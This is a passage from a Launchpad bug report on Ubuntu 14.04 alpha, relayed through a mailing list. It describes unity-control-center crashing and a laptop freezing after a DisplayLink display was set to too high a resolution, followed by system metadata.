Manufacturer: DisplayLink [1.688356] usb 2-1: SerialNumber: 119785 Additionally, unity-control-center crashes sometimes after I "Restore previous settings", after selecting a resolution too high. This freezed my laptop, requiring a hard reboot. ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: unity-control-center 14.04.1-0ubuntu5 ProcVersionSignature: Ubuntu 3.13.0-8.27-generic 3.13.2 Uname: Linux 3.13.0-8-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.13.2-0ubuntu2 Architecture: amd64 CurrentDesktop: Unity Date: Sun Feb 9 18:43:13 2014 InstallationDate: Installed on 2014-02-02 (7 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Alpha amd64 (20140202) SourcePackage: unity-control-center UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1278223/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
